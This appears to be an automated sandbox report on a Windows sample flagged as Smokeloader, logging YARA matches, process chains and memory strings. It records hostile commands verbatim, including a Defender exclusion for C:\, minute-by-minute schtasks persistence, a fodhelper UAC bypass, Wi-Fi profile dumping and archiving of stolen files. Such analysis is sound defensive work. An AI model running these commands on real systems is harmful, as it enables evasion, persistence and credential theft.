Source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 2.3.OpenWith.exe.2427db3aad0.18.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.14.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.20.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.22.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.12.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.11.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.30.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.19.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.17.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.3.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.10.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.7.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.24.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.15.raw.unpack, CallWrapper.cs Suspicious method names: .CallWrapper.GetPayload
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@73/35@1/2
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D84262C CreateToolhelp32Snapshot,Thread32First,Thread32Next,FindCloseChangeNotification,SuspendThread, 6_2_0000018E5D84262C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe File created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_03
Source: C:\Windows\SysWOW64\dialer.exe Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Mutant created: \Sessions\1\BaseNamedObjects\ab10c56eed80d1785b81ee2fcb4bec96
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4txu1a5.woj.ps1 Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\e7CLP6462y.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: OpenWith.exe, 00000002.00000003.1855564581.000002427DD20000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855210666.000002427DD61000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855354945.000002427DD61000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: e7CLP6462y.exe ReversingLabs: Detection: 57%
Source: e7CLP6462y.exe String found in binary or memory: {df9dc55e-7bf4-fce3-add0-fbbcbfc59bae}
Source: e7CLP6462y.exe String found in binary or memory: {870df8a6-6146-5dd5-addd-378b91fba06e}
Source: e7CLP6462y.exe String found in binary or memory: {4bae1f03-0bb4-adda-209a-54576cafa701}
Source: e7CLP6462y.exe String found in binary or memory: {384f6227-adde-34e6-e81f-682714c23988}
Source: e7CLP6462y.exe String found in binary or memory: {e0ebe2ca-8e55-2be3-2544-addea6f5d835}
Source: e7CLP6462y.exe String found in binary or memory: {0cfe5fb2-a3aa-add2-9c38-b846543ad633}
Source: e7CLP6462y.exe String found in binary or memory: {3fc95bca-0034-19c0-addc-40ff5a489a31}
Source: e7CLP6462y.exe String found in binary or memory: {b57dac90-5278-b5a3-addf-eb50dfea59be}
Source: e7CLP6462y.exe String found in binary or memory: {5b8d1595-add5-40ea-0007-33822a8d20d1}
Source: e7CLP6462y.exe String found in binary or memory: {21e9d188-9d35-9a3a-addc-1b641930a318}
Source: C:\Users\user\Desktop\e7CLP6462y.exe Evasive API call chain: __getmainargs,DecisionNodes,exit
Source: unknown Process created: C:\Users\user\Desktop\e7CLP6462y.exe "C:\Users\user\Desktop\e7CLP6462y.exe"
Source: C:\Users\user\Desktop\e7CLP6462y.exe Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\SysWOW64\dialer.exe Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\utihrjr C:\Users\user\AppData\Roaming\utihrjr
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B677.exe C:\Users\user\AppData\Local\Temp\B677.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B88B.exe C:\Users\user\AppData\Local\Temp\B88B.exe
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\tar.exe tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\*.*"
Source: C:\Windows\System32\tar.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /k START C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Users\user\Desktop\e7CLP6462y.exe Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe" Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe" Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B677.exe C:\Users\user\AppData\Local\Temp\B677.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B88B.exe C:\Users\user\AppData\Local\Temp\B88B.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\tar.exe tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\*.*"
Source: C:\Windows\SysWOW64\dialer.exe Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /k START C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\SysWOW64\dialer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook Jump to behavior
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernel32.pdb source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831[ source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdb source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
